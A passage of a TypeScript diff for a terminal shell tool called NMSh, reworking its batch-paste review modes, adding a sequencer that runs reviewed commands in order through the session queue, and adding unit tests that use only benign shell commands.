readonly BatchChoice[] = ['steps', 'queue', 'block', 'edit', 'cancel']; + +/** The labels of the mode strip; `b`, `q` and `o` select, Enter confirms. */ +export const BATCH_LABELS: Readonly> = {steps: 'One at a time', queue: 'Queue all', block: 'Run as block', edit: 'Edit', cancel: 'Cancel'}; export interface BatchReviewState { /** The paste exactly as it arrived. */ @@ -43,6 +51,8 @@ export interface BatchReviewState { refusal?: string; /** Verified statement count (from parse validation). */ verifiedCount?: number; + /** Why Queue all is not offered when the session cannot queue (queueing off, an older service). */ + queueOff?: string; } export type BatchReviewAction = @@ -95,13 +105,18 @@ export function entryKinds(text: string, depth = 0): PasteKind[] { return [...kinds]; } +/** The statement's command with its leading comment lines removed: what NMSh dispatches. */ +export function nmshCommandText(text: string): string { + return text.split('\n').filter(line => !/^\s*#/u.test(line)).join('\n').trim(); +} + /** * A statement that is one of NMSh's own commands (QA F02). The shell would treat `/modules` as a path, and a block that * starts with one is not a slash command either, so a list holding one is never run as a block or queued for the shell. * Comment lines before it belong to the statement; a slash line inside a heredoc or a quote is the statement's text. */ export function isNmshStatement(text: string): boolean { - const command = text.split('\n').filter(line => !/^\s*#/u.test(line)).join('\n').trim(); + const command = nmshCommandText(text); if (!isSlashInput(command)) return false; const slash = parseSlashCommand(command); return Boolean(slash && slash.kind !== 'unknown'); @@ -117,7 +132,8 @@ export function createBatchReview(source: string, shell: BatchShell, capacity: n const result = splitBatch(source, shell); if (!result.ok || result.commands.length < 2) return undefined; const entries = result.commands.map(command => ({...command, kinds: entryKinds(command.text)})); - return {source, entries, cursor: 0, top: 0, capacity, choice: hasNmshCommand({entries}) ? 'steps' : 'queue', verifiedCount: result.commands.length}; + // Nothing executes by default: the conservative first mode is One at a time, where each command still waits for Enter. + return {source, entries, cursor: 0, top: 0, capacity, choice: 'steps', verifiedCount: result.commands.length}; } /** @@ -135,30 +151,46 @@ export function createBatchReviewWithRefusal(source: string, shell: BatchShell, cursor: 0, top: 0, capacity, - // A block holding an NMSh command line is never offered to the shell as one: only Edit and Cancel remain. - choice: hasNmshCommand({entries, refusal: reason}) ? 'edit' : 'block', + // A paste that cannot be separated offers Run as block (a shell-only paste), Edit and Cancel; Edit is the default + // so that Enter alone never runs anything. + choice: 'edit', refusal: reason, verifiedCount: result.ok ? result.commands.length : 1, }; } -/** The choice Enter acts on. A list with NMSh commands only ever has its own choices; otherwise as before. */ -function activeChoice(state: BatchReviewState, choices: readonly BatchChoice[]): BatchChoice { - const choice = state.choice ?? (state.refusal ? 'block' : 'queue'); - return hasNmshCommand(state) && !choices.includes(choice) ? choices[0]! : choice; +/** The most commands in a row that go to the shell's queue at once (NMSh commands are dispatched in NMSh, between them). */ +export function longestShellRun(entries: readonly Pick[]): number { + let longest = 0; + let run = 0; + for (const entry of entries) { + if (isNmshStatement(entry.text)) run = 0; + else { run += 1; longest = Math.max(longest, run); } + } + return longest; } -/** Available execution choices for the given batch review state. */ +/** Queue all is possible: separated commands, a queue that is on, and room for the longest run of shell commands. */ +function canQueueAll(state: BatchReviewState): boolean { + return !state.refusal && !state.queueOff && state.entries.length >= 1 && longestShellRun(state.entries) <= state.capacity; +} + +/** Available execution choices for the given batch review state, in the order the mode strip shows them. */ export function batchAvailableChoices(state: BatchReviewState): BatchChoice[] { - // NMSh's commands run in NMSh, one at a time; the shell (a block, its queue) never gets them. - if (hasNmshCommand(state)) return state.refusal ? ['edit', 'cancel'] : ['steps', 'edit', 'cancel']; - const choices: BatchChoice[] = ['block']; - const canQueue = !state.refusal && state.entries.length >= 2 && state.entries.length <= state.capacity; - if (canQueue) choices.push('queue'); + const choices: BatchChoice[] = []; + if (!state.refusal && state.entries.length) choices.push('steps'); + if (canQueueAll(state)) choices.push('queue'); + // NMSh's own commands never reach the shell, so a list holding one is never one block either. + if (!hasNmshCommand(state) && batchBlockText(state).trim()) choices.push('block'); choices.push('edit', 'cancel'); return choices; } +/** The choice Enter acts on: the chosen one when it is offered, otherwise the first offered. */ +function activeChoice(state: BatchReviewState, choices: readonly BatchChoice[]): BatchChoice { + return state.choice && choices.includes(state.choice) ? state.choice : choices[0]!; +} + /** A reviewed list of commands that are already separate (a recipe's steps): the same review, queue and safety. */ export function batchFromCommands(commands: readonly string[], capacity: number, details: {title: string; note?: string}): BatchReviewState { const entries = commands.map((text, index): BatchEntry => ({text, firstLine: index + 1, lastLine: index + 1, kinds: entryKinds(text)})); @@ -168,6 +200,7 @@ export function batchFromCommands(commands: readonly string[], capacity: number, cursor: 0, top: 0, capacity, + // A recipe is a saved, named sequence the person chose to run: its review keeps Queue all first. choice: 'queue', verifiedCount: commands.length, title: details.title, @@ -196,14 +229,16 @@ export function batchReviewKey(state: BatchReviewState, key: Key, height: number }; const choices = batchAvailableChoices(state); + // What Enter does is what the strip shows: a mode that stopped being offered (no room left) falls back visibly. + if (state.choice && !choices.includes(state.choice)) state.choice = choices[0]; const currentChoice = activeChoice(state, choices); const cycleChoice = (step: number) => { - let idx = choices.indexOf(currentChoice); - if (idx === -1) idx = 0; + const idx = Math.max(0, choices.indexOf(currentChoice)); state.choice = choices[(idx + step + choices.length) % choices.length]; }; + const choose = (choice: BatchChoice) => { if (choices.includes(choice)) state.choice = choice; }; - // Choice navigation (Left / Right / Tab / Shift+Tab) + // Mode navigation (Left / Right / Tab / Shift+Tab) if (key.kind === 'left' || key.kind === 'focusPrevious') { cycleChoice(-1); return undefined; @@ -214,12 +249,9 @@ export function batchReviewKey(state: BatchReviewState, key: Key, height: number } if (key.kind === 'enter') { - if (currentChoice === 'queue') { - if (state.refusal) return undefined; - return state.entries.length && state.entries.length <= state.capacity ? {kind: 'queue'} : undefined; - } - if (currentChoice === 'block') return batchBlockText(state).trim() ? {kind: 'block'} : undefined; if (currentChoice === 'steps') return state.entries.length ? {kind: 'steps'} : undefined; + if (currentChoice === 'queue') return canQueueAll(state) ? {kind: 'queue'} : undefined; + if (currentChoice === 'block') return batchBlockText(state).trim() ? {kind: 'block'} : undefined; if (currentChoice === 'edit') return {kind: 'edit'}; if (currentChoice === 'cancel') return {kind: 'cancel'}; return undefined; @@ -234,20 +266,16 @@ export function batchReviewKey(state: BatchReviewState, key: Key, height: number else if (key.kind === 'delete' || key.kind === 'backspace') remove(state); else if (key.kind === 'text') { const value = key.value.toLowerCase(); - if (value === '1') { if (choices.includes('block') || choices.includes('steps')) state.choice = choices.includes('steps') ? 'steps' : 'block'; return undefined; } - if (value === '2') { - if (choices.includes('queue')) state.choice = 'queue'; - return undefined; - } - if (value === '3') { state.choice = 'edit'; return undefined; } - if (value === '4') { state.choice = 'cancel'; return undefined; } - if (value === 'b') { if (choices.includes('block')) state.choice = 'block'; return undefined; } + // Digits pick the nth mode shown; letters pick a mode by name. Only Enter confirms one that can run something. + if (/^[1-9]$/u.test(value)) { const picked = choices[Number(value) - 1]; if (picked) state.choice = picked; return undefined; } + if (value === 'o') { choose('steps'); return undefined; } + if (value === 'q') { choose('queue'); return undefined; } + if (value === 'b') { choose('block'); return undefined; } if (value === 'x') remove(state); else if (value === 'k') move(-1); else if (value === 'j') move(1); else if (value === 't') return {kind: 'text'}; else if (value === 'e' && state.entries.length) return {kind: 'edit'}; - else if (value === 'q' && choices.includes('queue') && state.entries.length && state.entries.length <= state.capacity) return {kind: 'queue'}; else if (value === 'c') return {kind: 'cancel'}; } state.top = Math.max(0, Math.min(state.top, Math.max(0, state.entries.length - rows))); @@ -289,11 +317,42 @@ function wrapRows(line: string, width: number): string[] { return rows; } +/** Words as rows of at most `width` cells (a quiet note that wraps rather than being cut). */ +function wrapWords(text: string, width: number): string[] { + const rows: string[] = []; + let row = ''; + for (const word of text.split(' ')) { + if (row && displayWidth(row) + 1 + displayWidth(word) > width) { rows.push(row); row = word; } + else row = row ? `${row} ${word}` : word; + } + if (row) rows.push(row); + return rows.map(item => truncateText(item, width)); +} + const FIXED_ROWS = 12; const listRows = (height: number) => Math.max(1, Math.min(8, height - FIXED_ROWS - 3)); const RISKY: ReadonlySet = new Set(['destructive', 'privilege', 'pipeline']); -/** At most `height` rows: header, choices, the list (scrolling), the selected command in full, the notes and the controls. */ +/** What the chosen mode will do on Enter, and what it is not offered for, in one quiet line each. */ +function modeNotes(state: BatchReviewState, active: BatchChoice, choices: readonly BatchChoice[]): string[] { + const count = state.entries.length; + const nmsh = hasNmshCommand(state); + const notes: string[] = []; + if (active === 'steps') notes.push(nmsh ? 'Each waits in the composer for your Enter; NMSh commands run in NMSh, not the shell.' : 'Each waits in the composer for your Enter; the next is offered after it.'); + else if (active === 'queue') notes.push(nmsh + ? `Enter confirms all ${count}: they run in order, NMSh commands in NMSh and the rest in the shell; it stops on a failure.` + : `Enter confirms all ${count}: they run in order in this shell, and the queue stops if one fails.`); + else if (active === 'block') notes.push('1 submission. Shells may read a block differently than line by line.'); + else if (active === 'edit') notes.push('Enter opens this text in the composer for editing. Nothing is executed.'); + else notes.push('Enter discards this paste. Nothing is executed.'); + if (!choices.includes('block') && !state.refusal && nmsh) notes.push('Run as block is off: NMSh commands never go to the shell as a block.'); + if (!choices.includes('queue') && !state.refusal) { + notes.push(state.queueOff ?? (count ? `Queue all is off: the queue has room for ${state.capacity} more shell commands.` : '')); + } + return notes.filter(Boolean); +} + +/** At most `height` rows: header, mode strip, the list (scrolling), the selected command in full, the notes and the controls. */ export function renderBatchReview(state: BatchReviewState, columns: number, height: number): string[] { const primary = foreground(UI_COLORS.primary); const subtle = foreground(UI_COLORS.subtle); @@ -308,102 +367,64 @@ export function renderBatchReview(state: BatchReviewState, columns: number, heig if (state.note) out.push(` ${subtle}${truncateText(state.note, width)}${reset}`); if (state.refusal) out.push(` ${failure}! Separation refused: ${truncateText(state.refusal, Math.max(8, width - 24))}${reset}`); - // Execution choices bar + // The mode strip: the shared tab strip, so the active mode is the same lavender block as Settings' active tab. const choices = batchAvailableChoices(state); const active = activeChoice(state, choices); const compact = columns < 70; - const choicePills: string[] = []; - const nmsh = hasNmshCommand(state); - if (nmsh) { - out.push(` ${subtle}${truncateText(state.refusal ? 'It has NMSh commands, which never go to the shell: edit it, or enter them one by one.' - : 'NMSh commands run in NMSh, not the shell: each command waits in the composer in turn, and runs on your Enter.', width)}${reset}`); - if (!state.refusal) { - const stepsLabel = compact ? `1 One at a time (${count})` : `1 One at a time · ${count} command${count === 1 ? '' : 's'}`; - choicePills.push(active === 'steps' ? `${accent}${GLYPHS.selection} [${stepsLabel}]${reset}` : `${subtle}[${stepsLabel}]${reset}`); - } - } - - if (!nmsh) { - const blockFocused = active === 'block'; - const blockLabel = compact ? '1 Block' : '1 Run as block'; - choicePills.push(blockFocused ? `${accent}${GLYPHS.selection} [${blockLabel} · 1 outer execution]${reset}` : `${subtle}[${blockLabel}]${reset}`); - - const queueFocused = active === 'queue'; - const canQueue = choices.includes('queue'); - if (canQueue) { - const queueLabel = compact ? `2 Queue (${count})` : `2 Queue separately · ${count} statement${count === 1 ? '' : 's'}`; - choicePills.push(queueFocused ? `${accent}${GLYPHS.selection} [${queueLabel}]${reset}` : `${subtle}[2 Queue]${reset}`); - } else { - choicePills.push(`${subtle}[2 Queue · refused]${reset}`); - } - } - - const editFocused = active === 'edit'; - choicePills.push(editFocused ? `${accent}${GLYPHS.selection} [3 Edit]${reset}` : `${subtle}[3 Edit]${reset}`); - - const cancelFocused = active === 'cancel'; - choicePills.push(cancelFocused ? `${accent}${GLYPHS.selection} [4 Cancel]${reset}` : `${subtle}[4 Cancel]${reset}`); - - out.push(` ${choicePills.join(' ')}`); + const label = (choice: BatchChoice) => (choice === 'steps' && !compact ? `One at a time · ${count}` : choice === 'queue' && !compact ? `Queue all · ${count}` : BATCH_LABELS[choice]); + out.push(''); + out.push(renderTabStrip(choices.map(label), choices.indexOf(active), columns, true)); + for (const note of modeNotes(state, active, choices)) for (const row of wrapWords(note, width).slice(0, 2)) out.push(` ${subtle}${row}${reset}`); out.push(''); const rows = listRows(height); const numberWidth = String(count).length; const labelWidth = columns >= 76 ? 26 : 0; - if (!count) out.push(` ${secondary}Nothing left to queue. Esc goes back to the paste.${reset}`); + if (!count) out.push(` ${secondary}Nothing left to run. Esc goes back to the paste.${reset}`); for (let index = state.top; index < Math.min(count, state.top + rows); index += 1) { const entry = state.entries[index]!; const focused = index === state.cursor; + const nmshEntry = isNmshStatement(entry.text); const kind = primaryKind(entry.kinds); - const color = RISKY.has(kind) ? failure : kind === 'install' || kind === 'modifies' ? accent : subtle; - const label = labelWidth ? `${color}${padCells(truncateText(KIND_LABELS[kind], labelWidth - 1), labelWidth)}${reset}` : RISKY.has(kind) ? `${failure}! ${reset}` : ''; + const color = nmshEntry ? accent : RISKY.has(kind) ? failure : kind === 'install' || kind === 'modifies' ? accent : subtle; + const kindName = nmshEntry ? 'NMSh command' : KIND_LABELS[kind]; + const tag = labelWidth ? `${color}${padCells(truncateText(kindName, labelWidth - 1), labelWidth)}${reset}` : RISKY.has(kind) ? `${failure}! ${reset}` : ''; const lines = entry.text.split('\n'); const first = displaySafe(lines[0]!) + (lines.length > 1 ? ` ⏎ +${lines.length - 1}` : ''); - out.push(truncateAnsi(`${focused ? `${accent}${GLYPHS.selection}${reset}` : ' '} ${subtle}${String(index + 1).padStart(numberWidth)}${reset} ${label}${focusForeground(focused)}${truncateText(first, Math.max(8, width - numberWidth - labelWidth - 4))}${reset}`, columns)); + const row = `${focused ? GLYPHS.selection : ' '} ${subtle}${String(index + 1).padStart(numberWidth)}${reset} ${tag}${focused ? '' : focusForeground(false)}${truncateText(first, Math.max(8, width - numberWidth - labelWidth - 4))}${reset}`; + out.push(focused ? selectedRowBand(` ${row}`, columns) : truncateAnsi(` ${row}`, columns)); } if (count > rows) out.push(` ${subtle}${state.top + 1}–${Math.min(count, state.top + rows)} of ${count}${reset}`); const selected = state.entries[state.cursor]; - const notes = 2; - - const actionLabel = active === 'steps' - ? 'first command to the composer' - : active === 'block' - ? 'run as block' - : active === 'queue' - ? `queue ${count}` - : active === 'edit' - ? 'edit in composer' - : 'cancel'; - const controls = renderControlRows([['↑↓', 'select'], ['←→/Tab', 'choice'], ['Enter', actionLabel], ['e', 'edit as text'], ['t', 'original text'], ['Esc', 'back']], columns); + + const actionLabel = active === 'steps' ? 'first to the composer' + : active === 'queue' ? `queue all ${count}` + : active === 'block' ? 'run as block' + : active === 'edit' ? 'edit in composer' + : 'cancel'; + const controls = renderControlRows([['↑↓', 'select'], ['←→/Tab', 'mode'], ['Enter', actionLabel], ['e', 'edit as text'], ['t', 'original text'], ['Esc', 'back']], columns); + const notesRoom = 1; if (active === 'block' && state.entries.length <= 1) { out.push('', ` ${subtle}Entire block, exactly as it will run as 1 outer execution${reset}`); const wrapped = batchBlockText(state).split('\n').flatMap(line => wrapRows(line, Math.max(8, width - 4))); - const room = Math.max(2, height - out.length - notes - controls.length - 1); + const room = Math.max(2, height - out.length - notesRoom - controls.length - 1); const shown = wrapped.length > room ? room - 1 : room; for (const row of wrapped.slice(0, shown)) out.push(` ${secondary}${row}${reset}`); - if (wrapped.length > shown) out.push(` ${failure}… ${wrapped.length - shown} more row${wrapped.length - shown === 1 ? "" : "s"} hidden; still part of the command${reset}`); + if (wrapped.length > shown) out.push(` ${failure}… ${wrapped.length - shown} more row${wrapped.length - shown === 1 ? '' : 's'} hidden; still part of the command${reset}`); } else if (selected) { const kind = primaryKind(selected.kinds); - out.push('', ` ${subtle}Command ${state.cursor + 1}, exactly as it will be queued${reset}${RISKY.has(kind) || kind === 'install' || kind === 'modifies' ? `${RISKY.has(kind) ? failure : accent} · ${KIND_LABELS[kind]} somewhere in it${reset}` : ''}`); + const nmshEntry = isNmshStatement(selected.text); + const risk = RISKY.has(kind) || kind === 'install' || kind === 'modifies'; + out.push('', ` ${subtle}Command ${state.cursor + 1}, exactly as it will run${reset}${nmshEntry ? `${accent} · NMSh runs this itself${reset}` : risk ? `${RISKY.has(kind) ? failure : accent} · ${KIND_LABELS[kind]} somewhere in it${reset}` : ''}`); const wrapped = selected.text.split('\n').flatMap(line => wrapRows(line, Math.max(8, width - 4))); - const room = Math.max(2, height - out.length - notes - controls.length - 1); + const room = Math.max(2, height - out.length - notesRoom - controls.length - 1); const shown = wrapped.length > room ? room - 1 : room; for (const row of wrapped.slice(0, shown)) out.push(` ${secondary}${row}${reset}`); - if (wrapped.length > shown) out.push(` ${failure}… ${wrapped.length - shown} more row${wrapped.length - shown === 1 ? "" : "s"} hidden; still part of the command${reset}`); + if (wrapped.length > shown) out.push(` ${failure}… ${wrapped.length - shown} more row${wrapped.length - shown === 1 ? '' : 's'} hidden; still part of the command${reset}`); } out.push(''); - if (active === 'block') { - out.push(` ${subtle}${truncateText('Nothing runs until you press Enter. The shell runs 1 outer execution.', width)}${reset}`); - } else if (active === 'edit') { - out.push(` ${subtle}${truncateText('Press Enter to open this text in the composer for editing. Nothing will be executed.', width)}${reset}`); - } else if (active === 'cancel') { - out.push(` ${subtle}${truncateText('Press Enter to cancel and discard this paste. Nothing will be executed.', width)}${reset}`); - } else if (count > state.capacity) { - out.push(` ${failure}${truncateText(`The queue has room for ${state.capacity} more; remove ${count - state.capacity} to queue these.`, width)}${reset}`); - } else { - out.push(` ${subtle}${truncateText('Nothing runs until you press Enter. Then the shell runs them one at a time, and the queue stops if one fails.', width)}${reset}`); - } + out.push(` ${subtle}${truncateText('Nothing runs until you press Enter on a mode.', width)}${reset}`); out.push(...controls.map(row => ` ${row}`)); const fixed = Math.max(4, height); return (out.length > fixed ? [...out.slice(0, fixed - 1), out[out.length - 1]!] : out).map(row => truncateAnsi(row, columns)); diff --git a/src/input/batchSequence.ts b/src/input/batchSequence.ts new file mode 100644 index 00000000..54b159c7 --- /dev/null +++ b/src/input/batchSequence.ts @@ -0,0 +1,148 @@ +/** + * Queue all: a reviewed list that may mix shell commands and NMSh's own commands, run in order after one confirmation. + * + * It owns no queue of its own. A run of shell commands is added to the session's queue (the owner that already runs them + * one at a time, in the session's shell, with its failure policy, approval, interrupt and session-isolation rules), and + * NMSh commands (`/modules`, `/track …`, `/view`) are handed to NMSh's own dispatcher through the composer's submit path, + * so none of them can reach the shell. Between steps it waits: for the queue to drain, for a foreground program to end, + * for a panel a command opened to close and for the composer to be empty. It never types into a running program, so a + * command waiting for input is never answered or bypassed. A failure, an interrupt, a paused or cleared queue, or Esc + * stops it, and the commands not yet started are reported, never run. + */ +export interface SequenceItem { + text: string; + /** One of NMSh's own commands: dispatched in NMSh, never added to the shell's queue. */ + nmsh: boolean; +} + +export interface SequenceQueueView { + entries: number; + dispatching: boolean; + paused: boolean; + /** The newest execution chain, when the owner has one. */ + chain?: {id: number; status: 'active' | 'finished' | 'cleared' | 'shell-ended'; failurePolicy: 'pause' | 'continue'; failed: number; interrupted: number}; +} + +export interface SequenceHost { + queueView(): SequenceQueueView; + /** Free places in the session's queue. */ + queueFree(): number; + addShell(text: string): void; + /** A foreground program, a passthrough or a start-up in progress owns the terminal. */ + foregroundBusy(): boolean; + /** A panel or viewer is open (a command opened it): the next step waits for it to close. */ + modalOpen(): boolean; + composerEmpty(): boolean; + /** Dispatch one NMSh command exactly as if it were submitted from the composer. */ + runNmsh(text: string): Promise; + say(text: string): void; + changed(): void; +} + +type Phase = + | {kind: 'idle'} + | {kind: 'nmsh'} + | {kind: 'shell'; count: number; base?: {id: number; status: string; bad: number}}; + +const plural = (count: number, word: string) => `${count} ${word}${count === 1 ? '' : 's'}`; + +export class BatchSequencer { + /** Items finished (the one in flight is not counted until it ends). */ + private done = 0; + private phase: Phase = {kind: 'idle'}; + private ended = false; + private stopping: string | undefined; + + constructor(private readonly items: readonly SequenceItem[], private readonly host: SequenceHost) {} + + get active(): boolean { return !this.ended; } + get total(): number { return this.items.length; } + + /** One quiet line for the strip above the composer: where the sequence is and how to stop it. */ + statusLine(): string { + const inFlight = this.phase.kind === 'shell' ? this.phase.count : this.phase.kind === 'nmsh' ? 1 : 0; + const waiting = this.phase.kind === 'idle' && this.done < this.items.length + ? (this.host.modalOpen() ? ' · continues when the panel closes' : !this.host.composerEmpty() ? ' · continues when the composer is empty' : '') : ''; + return `Queue all · ${Math.min(this.items.length, this.done + inFlight)} of ${this.items.length}${waiting}${this.stopping !== undefined ? ' · stopping' : ' · Esc stops'}`; + } + + /** End the sequence: nothing more is started, and what already runs is left to finish. */ + stop(why = 'Stopped'): void { + if (this.ended) return; + this.stopping = why; + if (this.phase.kind === 'idle') this.finish(why); + else this.host.say('Queue all will stop when the command that is running or queued now ends; the rest will not start. /queue manages what is queued.'); + } + + /** Advance as far as the current state allows. Safe to call as often as the state changes. */ + poke(): void { + if (this.ended) return; + const phase = this.phase; + if (phase.kind === 'nmsh') return; + if (phase.kind === 'shell') { this.watchShell(phase); return; } + if (this.stopping !== undefined) { this.finish(this.stopping); return; } + if (this.done >= this.items.length) { this.finish(); return; } + const view = this.host.queueView(); + const item = this.items[this.done]!; + if (item.nmsh) { + if (view.paused) { this.finish('The queue is paused'); return; } + // NMSh's own command: only at a free prompt with nothing queued ahead of it, and never over a panel or a draft. + if (this.host.foregroundBusy() || this.host.modalOpen() || !this.host.composerEmpty()) return; + if (view.entries > 0 || view.dispatching) return; + this.phase = {kind: 'nmsh'}; + const settle = (why?: string) => { + this.phase = {kind: 'idle'}; + if (why === undefined) this.done += 1; + if (why !== undefined) this.finish(why); + else { this.host.changed(); this.poke(); } + }; + this.host.runNmsh(item.text).then(() => settle(), () => settle('That command failed')); + return; + } + // A run of shell commands goes to the session's queue together, so /queue shows them and the owner runs them in order. + // A queue the person paused still takes them (they wait there for /queue), and the sequence ends with that said. + let count = 0; + while (this.done + count < this.items.length && !this.items[this.done + count]!.nmsh) count += 1; + if (this.host.queueFree() < count) return; + const chain = view.chain; + const base = chain ? {id: chain.id, status: chain.status, bad: chain.failed + chain.interrupted} : undefined; + for (let index = 0; index < count; index += 1) this.host.addShell(this.items[this.done + index]!.text); + this.phase = {kind: 'shell', count, ...(base ? {base} : {})}; + this.host.changed(); + } + + private watchShell(phase: Extract): void { + const view = this.host.queueView(); + const chain = view.chain; + if (view.paused) { + // The owner paused its queue (a failure, an interrupt or the person): what is left stays there for /queue to review. + this.phase = {kind: 'idle'}; + this.done += phase.count; + this.finish(view.entries > 0 ? `The queue paused with ${plural(view.entries, 'command')} still waiting in /queue` : 'The queue paused'); + return; + } + // The chain our commands ran in is a newer one, or the one that was already active when they were added. + const same = chain && phase.base && chain.id === phase.base.id; + const ours = chain && (!phase.base || chain.id > phase.base.id || (same && phase.base.status === 'active')); + if (!chain || !ours) return; + if (chain.status === 'cleared') { this.phase = {kind: 'idle'}; this.done += phase.count; this.finish('The queue was cleared'); return; } + if (chain.status === 'shell-ended') { this.phase = {kind: 'idle'}; this.done += phase.count; this.finish('The shell ended'); return; } + if (chain.status !== 'finished' || view.entries > 0 || view.dispatching) return; + const bad = chain.failed + chain.interrupted - (same && phase.base ? phase.base.bad : 0); + this.phase = {kind: 'idle'}; + this.done += phase.count; + // The failure policy is the session's own: "pause" stops here; "continue" was chosen by the person, but an interrupt (Ctrl+C) still stops. + if (bad > 0 && (chain.failurePolicy === 'pause' || chain.interrupted > 0)) { this.finish(chain.interrupted > 0 ? 'A command was interrupted' : 'A command failed'); return; } + this.host.changed(); + this.poke(); + } + + private finish(why?: string): void { + if (this.ended) return; + this.ended = true; + const left = this.items.length - this.done; + if (why && left > 0) this.host.say(`Queue all stopped: ${why}. The ${left === 1 ? 'next command was' : `${left} commands after it were`} not run.`); + else if (why) this.host.say(`Queue all stopped: ${why}.`); + this.host.changed(); + } +} diff --git a/tests/batchSequence.test.ts b/tests/batchSequence.test.ts new file mode 100644 index 00000000..b40d9044 --- /dev/null +++ b/tests/batchSequence.test.ts @@ -0,0 +1,229 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {BatchSequencer, type SequenceHost, type SequenceItem, type SequenceQueueView} from '../src/input/batchSequence.js'; + +/** + * Queue all runs a reviewed list in order: shell commands through the session's queue, NMSh's own commands in NMSh. + * The fake host models only what the sequencer may look at: the queue's view, whether a program or a panel owns the + * terminal, and whether the composer holds a draft. + */ +function fixture(items: SequenceItem[], options: {free?: number; policy?: 'pause' | 'continue'} = {}) { + const log: string[] = []; + const said: string[] = []; + const state = { + entries: [] as string[], + dispatching: false, + paused: false, + chain: undefined as SequenceQueueView['chain'], + busy: false, + modal: false, + draft: false, + free: options.free ?? 50, + nmsh: undefined as undefined | {resolve: () => void; reject: (error: Error) => void}, + holdNmsh: false, + }; + const policy = options.policy ?? 'pause'; + const host: SequenceHost = { + queueView: () => ({entries: state.entries.length, dispatching: state.dispatching, paused: state.paused, ...(state.chain ? {chain: {...state.chain}} : {})}), + queueFree: () => state.free, + addShell: text => { + log.push(`shell:${text}`); + state.entries.push(text); + if (!state.chain || state.chain.status !== 'active') state.chain = {id: (state.chain?.id ?? 0) + 1, status: 'active', failurePolicy: policy, failed: 0, interrupted: 0}; + }, + foregroundBusy: () => state.busy, + modalOpen: () => state.modal, + composerEmpty: () => !state.draft, + runNmsh: text => { + log.push(`nmsh:${text}`); + // /view opens a panel, which stays open until the person closes it. + if (text.startsWith('/view')) state.modal = true; + if (!state.holdNmsh) return Promise.resolve(); + return new Promise((resolve, reject) => { state.nmsh = {resolve, reject}; }); + }, + say: text => said.push(text), + changed: () => {}, + }; + const sequence = new BatchSequencer(items, host); + /** The owner ran everything that was queued; `outcome` decides how the chain ended. */ + const drain = (outcome: 'ok' | 'failed' | 'interrupted' | 'cleared' = 'ok', pause = false) => { + const count = state.entries.length; + state.entries = []; + state.dispatching = false; + const chain = state.chain!; + if (outcome === 'failed') chain.failed += 1; + if (outcome === 'interrupted') chain.interrupted += 1; + chain.status = outcome === 'cleared' ? 'cleared' : 'finished'; + if (pause) state.paused = true; + return count; + }; + const settle = () => new Promise(done => setImmediate(done)); + return {sequence, state, log, said, drain, settle}; +} +const shell = (text: string): SequenceItem => ({text, nmsh: false}); +const nmsh = (text: string): SequenceItem => ({text, nmsh: true}); + +test('Queue all: a shell run goes to the queue together, NMSh commands run in NMSh between runs, in order', async () => { + const f = fixture([shell('cd modules/bun-app'), nmsh('/modules'), shell('ls'), shell('pwd'), nmsh('/track df -h')]); + f.sequence.poke(); + assert.deepEqual(f.log, ['shell:cd modules/bun-app'], 'only the first shell run; /modules waits for the queue to drain'); + f.sequence.poke(); + assert.deepEqual(f.log, ['shell:cd modules/bun-app'], 'still waiting while the queue holds the command'); + f.drain(); + f.sequence.poke(); + await f.settle(); + assert.deepEqual(f.log, ['shell:cd modules/bun-app', 'nmsh:/modules', 'shell:ls', 'shell:pwd'], 'NMSh dispatched /modules; the next two shell commands queued together'); + f.drain(); + f.sequence.poke(); + await f.settle(); + assert.deepEqual(f.log.at(-1), 'nmsh:/track df -h'); + assert.equal(f.sequence.active, false); + assert.deepEqual(f.said, [], 'a clean finish says nothing'); + assert.ok(!f.log.some(line => line.startsWith('shell:/')), 'no NMSh command ever reached the shell queue'); +}); + +test('Queue all: a shell-only list queues everything at once and finishes when the chain does', () => { + const f = fixture([shell('git fetch'), shell('git pull --ff-only'), shell('npm ci')]); + f.sequence.poke(); + assert.deepEqual(f.log, ['shell:git fetch', 'shell:git pull --ff-only', 'shell:npm ci']); + assert.equal(f.sequence.active, true); + f.drain(); + f.sequence.poke(); + assert.equal(f.sequence.active, false); +}); + +test('Queue all: a failure with the pause policy stops the sequence and reports what was not run', async () => { + const f = fixture([shell('false'), nmsh('/modules'), shell('echo after')]); + f.sequence.poke(); + f.drain('failed', true); + f.sequence.poke(); + await f.settle(); + assert.equal(f.sequence.active, false); + assert.deepEqual(f.log, ['shell:false'], 'neither /modules nor the later command ran'); + assert.match(f.said.join(' '), /Queue all stopped: The queue paused/u); + assert.match(f.said.join(' '), /2 commands after it were not run/u); +}); + +test('Queue all: the failure policy is the session\'s; "continue" goes on after a failure, but Ctrl+C always stops', async () => { + const keepGoing = fixture([shell('false'), nmsh('/modules')], {policy: 'continue'}); + keepGoing.sequence.poke(); + keepGoing.drain('failed'); + keepGoing.sequence.poke(); + await keepGoing.settle(); + assert.deepEqual(keepGoing.log, ['shell:false', 'nmsh:/modules']); + + const interrupted = fixture([shell('sleep 30'), nmsh('/modules')], {policy: 'continue'}); + interrupted.sequence.poke(); + interrupted.drain('interrupted'); + interrupted.sequence.poke(); + await interrupted.settle(); + assert.deepEqual(interrupted.log, ['shell:sleep 30']); + assert.match(interrupted.said.join(' '), /interrupted/u); +}); + +test('Queue all: a cleared queue or a ended shell stops it', () => { + const cleared = fixture([shell('a'), shell('b'), nmsh('/modules')]); + cleared.sequence.poke(); + cleared.drain('cleared'); + cleared.sequence.poke(); + assert.equal(cleared.sequence.active, false); + assert.match(cleared.said.join(' '), /The queue was cleared/u); + assert.deepEqual(cleared.log, ['shell:a', 'shell:b']); +}); + +test('Queue all: an NMSh command waits for a free prompt, a closed panel and an empty composer; nothing is ever typed over them', async () => { + const f = fixture([nmsh('/modules'), shell('ls')]); + f.state.busy = true; + f.sequence.poke(); + await f.settle(); + assert.deepEqual(f.log, [], 'a foreground program (possibly asking for input) is never bypassed'); + f.state.busy = false; + f.state.draft = true; + f.sequence.poke(); + assert.deepEqual(f.log, [], 'a draft in the composer is never replaced'); + assert.match(f.sequence.statusLine(), /continues when the composer is empty/u); + f.state.draft = false; + f.state.modal = true; + f.sequence.poke(); + assert.deepEqual(f.log, [], 'a panel is never run over'); + assert.match(f.sequence.statusLine(), /continues when the panel closes/u); + f.state.modal = false; + f.state.entries = ['queued earlier']; + f.sequence.poke(); + assert.deepEqual(f.log, [], 'commands the person queued first run first'); + f.state.entries = []; + f.sequence.poke(); + await f.settle(); + assert.deepEqual(f.log, ['nmsh:/modules', 'shell:ls']); +}); + +test('Queue all: a panel a command opened holds the 